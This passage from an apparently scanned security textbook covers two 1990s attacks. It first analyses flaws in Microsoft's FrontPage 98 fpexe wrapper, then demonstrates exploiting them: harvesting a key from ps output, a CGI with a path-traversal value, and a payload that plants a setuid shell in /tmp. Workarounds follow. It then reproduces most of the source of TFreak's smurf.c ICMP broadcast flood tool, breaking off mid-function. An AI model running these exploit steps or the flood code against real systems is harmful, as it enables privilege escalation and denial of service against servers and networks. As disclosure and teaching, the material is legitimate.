Скачиваний:
44
Добавлен:
15.03.2015
Размер:
534.15 Кб
Скачать

fclose(f);

If fopen() failed (easy to make it do so with ulimit -n), then if your system did not core dump on a fgets() on a closed descriptor you would end up with an empty key. It is obviously easy to guess an empty key. I am not aware of any systems that exhibit this exact problem, but it is possible. Return codes need to be checked, especially in setuid programs.

Proper bounds checking is not done. This leads to obvious buffer overflows. An example:

strcpy( work, FPDIR );

strcat( work, getenv("FPEXE") );

I won't go into the details of what this does, but if you could cause this code to be executed, you could insert your own code on most systems and likely gain access to the UID the program is running as (root). This proves to be an unnecessary effort to go to, because this code is only executed if you have the correct key; if you have the correct key, there are far easier ways to gain access. Buffer overflows are one of the most popular (albeit normally boring) types of new holes in programs being publicized.

It does not clean the environment variables before starting the CGI. Again, this means you can gain access to the UID that the program runs as (not root). If the rest of the program was securely written, this could possibly be an issue however it is of little consequence currently due to the gaping holes in other areas.

It assumes that if you have the key, then you are authorized to have it run any program as nearly any user you tell it to. The process you are running also needs to be in the same process group as the web server; all CGIs run by the server, however, are in the same process group so if you can run a CGI script you can work around the second check. It does no further checks to be sure you are running as a user that should be allowed to run FrontPage CGIs (other than disallowing UID 0; the compiled version also disallows gid 0, however the source version doesn't) or that you are running a Frontpage related program. This means that if you get the key file, you can gain access to any non-root UID on the server. On 99% of boxes, that will give you root. For example, if binaries are owned by bin then become bin and replace one that is run by root from cron. The possibilities are endless once you obtain this level of access.

And, finally, the worst: it passes the key to fpexe via an environment variable! On most systems, environment variables are available via "ps -e". This means that anyone with access to run programs on the system (and there are often more people than you think that are able to do this, due to things such as CGIs) can see it as it is being passed from the web server to fpexe. Recall that once you have the key, there is little remaining before you can get full access to the system.

Demonstration

By now, it should be obvious that there is a serious security problem in the FrontPage 98 server extensions. Here is one demonstration; do not think that this is the only way or that just because you prevent one step of this process from working it is any more difficult to exploit the security holes.

First I have to find the key. This can be done by using ps to get the environment from fpexe. To do this, I first setup a loop running (this assumes a real aka. Bourne shell; if you use the bastard C-shell it obviously won't work as written):

while true; do ps axuwwe -U nobody | grep FPKEY; done

Then I used ZeusBench, a very simple HTTP benchmark program, to generate load on the server:

zb localhost /fp/_vti_bin/shtml.exe -c 50 -t 30

Any method of generating traffic could be used, including a web browser. Since I am using a very inefficient method of looking for a process, I need to generate lots of traffic to increase my chance of finding one. It certainly isn't likely to happen on the first request. The requests do have to be made to a FP CGI script so it will call fpexe.

Before long, I had what I wanted from ps (manually wrapped):

nobody 28008 0.0 0.2 180 76 ?? DN 6:51PM 0:00.01

SCRIPT_URL=/fp/ SCRIPT_URI=http://localhost/fp/ FPUID=1000 FPGID=1000

FPEXE=/_vti_bin/shtml.exe

FPKEY=9AF675E332F7583776C241A4795FE387D8E5DC80E77

3FAB70794848FDEFB173FF14CDCDC44F3FAAF144A8C95A81C04BF5FC2B9EFD

E3C8DCA1049CD

F760364E59 HTTP_USER_AGENT=ZeusBench/1.0 HTTP_ACCEPT=*/*

PATH=/sbin:/usr/sbin:/bin:/usr/local/bin:/usr/bin:/usr/local/sbin/

SERVER_SOFTWARE=Apache/1.2.5-dev SERVER_NAME=localhost

SERVER_PORT=80

REMOTE_HOST=localhost REMOTE_ADDR=127.0.0.1

DOCUMENT_ROOT=/usr/local/etc/httpd/htdocs SERVER_ADMIN=marcs@znep.com

SCRIPT_FILENAME=/usr/local/frontpage/currentversion/apache-fp/_vti_bin/fpexe

REMOTE_PORT=2849 GATEWAY_INTERFACE=CGI/1.1

SERVER_PROTOCOL=HTTP/1.0

REQUEST_METHOD=GET QUERY_STRING=

REQUEST_URI=/fp/_vti_bin/shtml.exe

SCRIPT_NAME=/fp/_vti_bin/shtml.exe fpexe

Then I need to use the key to make fpexe think I am the web server. I can't just run this from a normal shell, since I need to be in the same process group as the web server. A simple CGI suffices:

#!/bin/sh

echo Content-type: text/plain

echo

export FPUID=3;

export FPGID=3;

export FPEXE=../../../../../../../../tmp/gotcha;

export FPKEY=9AF675E332F7583776C241A4795FE387D8E5DC80E773FAB70794848FDEF B173

FF14CDCDC44F3FAAF144A8C95A81C04BF5FC2B9EFDE3C8DCA1049CDF760364

E59

/usr/local/frontpage/currentversion/apache-fp/_vti_bin/fpexe 2>&1

I need a program for it to run (/tmp/gotcha in this example):

#!/bin/sh

/usr/bin/id

cp /bin/sh /tmp/.mysh

chmod u+s /tmp/.mysh

Then I simply make a HTTP request for the CGI script. I can then run /tmp/.mysh at my leisure to gain access to UID 3 (bin on my system) and do what I want from there.

Stopping the Problem:

Load the new extensions from here. So now you want to fix it. Well. That's the hard part. The only real solution is for someone (either Microsoft or a third party) to do some work to improve the security. It is possible to do this securely. Microsoft hasn't. They have no excuse. This page will be updated when (if?) better fixes become available.

The Apache web server has a suEXEC wrapper designed to allow for a similar thing; that is, execution of CGI scripts under a user's own UID. It is very restrictive (some would say anal) about what it allows: there is a reason for that, as Microsoft's obviously failed attempt at security shows. It is possible that suEXEC could be adapted to function in conjunction with FrontPage, however it will not work without source modifications.

One short term workaround until Microsoft addresses the issue is to simply remove the FrontPage setup from your system. This can be done temporarily by removing the setuid bit from fpexe (ie. chmod u-s fpexe). This will prevent all the pretty FrontPage CGIs from working. It will prevent people from uploading new pages using FrontPage's own methods (ie. they can tell FrontPage to use FTP and they will still be uploaded), but generic content that doesn't rely on FrontPage's server side CGI scripts should work fine.

Another possible workaround is to prevent users from running the ps command. This could have a very negative impact on your system if things depend on it, and is a poor solution however it may be the best one for you. On systems that don't use a procfs (/proc) based ps, you can normally simply remove world execute permissions from it to disable it. If you are on a system like Linux that normally uses a procfs for ps to get information, this doesn't solve the problem because someone can read from the procfs directly.

Last of all, since this problem only occurs when using FrontPage with the mod_frontpage extensions, it is possible to use the FrontPage extensions on Apache without using mod_frontpage or fpexe. Unfortunately, this conversion is not easy. It means that, after recompiling Apache without any of the Microsoft modifications (just commenting out mod_frontpage from the Configuration file may be enough; haven't checked) you have to either manually copy the FrontPage CGIs to the appropriate subdirectory under each user's web directory and make them setuid to that user or copy them (or make links) and don't make them setuid to that user. The former preserves the current ownership. With the latter all the user's web files will need to be changed back to being owned by the user the web server runs as or else they will be unable to manipulate them and some of the FP CGIs won't run correctly. This is a pain and brings you back to the horrible security practice of letting anyone who can run CGIs modify any FrontPage user's files. Although this may be the best temporary workaround (although quite annoying if you have a large number of users), I can not go into step by step details of how to accomplish this change

because I am not fully familiar with various ways of using the FrontPage extensions. The Microsoft FP security considerations document (part of the FP98 Server Extensions Resource Kit) provides some more details of the method in which the CGIs are run without fpexe.

Comments:

This sort of continued disregard for security is unacceptable and inexcusable. It does not take significant knowledge to know that some of the things being done are flawed. If internal expertise is not available, an external consultant should be hired for a security review of any critical code such as fpexe. This is not rocket science nor is it particularily advanced programming. Nothing that I have described above is complicated or new. Code reviews are common practice in many companies and serve good purpose.

Once Microsoft fixes their glaring holes, assuming they do, I would suggest you should consider if you want to run their FrontPage extensions at all. Even though, once fpexe is properly fixed, you only risk the accounts of users using FrontPage (since that is who the FrontPage CGI scripts run as), that can be a significant risk. It is very possible that when someone gets bored they will find a hole in the FrontPage CGI scripts that gives them user level access to your system. And Microsoft doesn't (and isn't likely to in the future, if their past is any indication) give the source to those. Microsoft's own source speaks better for itself than anyone else ever could.

I have this nagging feeling that this will result in Microsoft coming out with a "fixed" version and not releasing the source to it at all. After all, it was only after the source came out that these flaws became a problem. Right? Wrong. This was a gaping hole waiting to be discovered. It would have almost certainly been discovered sooner or later regardless of source availability; better sooner than later. I certainly hope that Microsoft doesn't think the lesson in this is that source should not be released. It is insecure with or without the source. The FrontPage server extensions aren't going to find their way anywhere near any machines I control any time soon because I have no trust in the company behind them.

On a side note, Microsoft actually modifies the server name returned to clients when the FrontPage patches are installed in Apache to include "FrontPage/x.x.x". That is fine, however it gives anyone connecting to your server the ability to determine the chances of them being able to break into your system using holes in the FP server extensions.

[13.0.4] TCP/IP Flooding with Smurf

Found by TFreak (from ntsecurity.net)

The Problem

The smurf attack is quite simple. It has a list of broadcast addresses which it stores into an array, and sends a spoofed ICMP echo request to each of those addresses in series and starts again. The result is a devistating attack upon the spoofed IP. Depending on the amount of broadcast addresses used, many, many computers may respond to the echo request.

This attack can EASILY saturate a T1 circuit, rendering it completely useless.

HERE IS THE SMURF SOURCE CODE:

*$Id smurf.c,v 4.0 1997/10/11 13:02:42 EST tfreak Exp $*

*spoofs icmp packets from a host to various broadcast addresses resulting

*in multiple replies to that host from a single packet.

*disclaimer:

*I cannot and will not be held responsible nor legally bound for the

*malicious activities of individuals who come into possession of this

*program and I refuse to provide help or support of any kind and do NOT

*condone use of this program to deny service to anyone or any machine.

*This is for educational use only. Please Don't abuse this.

*TFreak

*/

#include <signal.h>

#include <stdio.h>

#include <stdlib.h>

#include <sys/socket.h>

#include <sys/types.h>

#include <netinet/in.h> #include <netinet/ip.h> #include <netinet/ip_icmp.h> #include <netdb.h>

#include <ctype.h> #include <arpa/inet.h> #include <unistd.h> #include <string.h> void banner(void); void usage(char *);

void smurf(int, struct sockaddr_in, u_long, int); void ctrlc(int);

unsigned short in_chksum(u_short *, int); /* stamp */

char id[] = "$Id smurf.c,v 4.0 1997/10/11 13:02:42 EST tfreak Exp $"; int main (int argc, char *argv[])

{

struct sockaddr_in sin; struct hostent *he; FILE *bcastfile;

int i, sock, bcast, delay, num, pktsize, cycle = 0, x; char buf[32], **bcastaddr = malloc(8192); banner();

signal(SIGINT, ctrlc);

if (argc < 6) usage(argv[0]);

if ((he = gethostbyname(argv[1])) == NULL) { perror("resolving source host");

exit(-1);

}

memcpy((caddr_t)&sin.sin_addr, he->h_addr, he->h_length); sin.sin_family = AF_INET;

sin.sin_port = htons(0); num = atoi(argv[3]); delay = atoi(argv[4]); pktsize = atoi(argv[5]);

if ((bcastfile = fopen(argv[2], "r")) == NULL) { perror("opening bcast file");

exit(-1);

}

x = 0;

while (!feof(bcastfile)) { fgets(buf, 32, bcastfile);

if (buf[0] == '#' || buf[0] == '\n' || ! isdigit(buf[0])) continue; for (i = 0; i < strlen(buf); i++)

if (buf[i] == '\n') buf[i] = '\0'; bcastaddr[x] = malloc(32);

strcpy(bcastaddr[x], buf); x++;

}

bcastaddr[x] = 0x0; fclose(bcastfile);

if (x == 0) {

fprintf(stderr, "ERROR: no broadcasts found in file %s\n\n", argv[2]); exit(-1);

}

if (pktsize > 1024) {

fprintf(stderr, "ERROR: packet size must be < 1024\n\n"); exit(-1);

}

if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) { perror("getting socket");

exit(-1);

}

setsockopt(sock, SOL_SOCKET, SO_BROADCAST, (char *)&bcast, sizeof(bcast)); printf("Flooding %s (. = 25 outgoing packets)\n", argv[1]);

for (i = 0; i < num || !num; i++) {

if (!(i % 25)) { printf("."); fflush(stdout); } smurf(sock, sin, inet_addr(bcastaddr[cycle]), pktsize); cycle++;

if (bcastaddr[cycle] == 0x0) cycle = 0; usleep(delay);

}

puts("\n\n"); return 0;

}

void banner (void)

{

puts("\nsmurf.c v4.0 by TFreak\n");

}

void usage (char *prog)

{

fprintf(stderr, "usage: %s " " \n\n"

"target = address to hit\n"

"bcast file = file to read broadcast addresses from\n" "num packets = number of packets to send (0 = flood)\n" "packet delay = wait between each packet (in ms)\n" "packet size = size of packet (< 1024)\n\n", prog); exit(-1);

}

void smurf (int sock, struct sockaddr_in sin, u_long dest, int psize)

{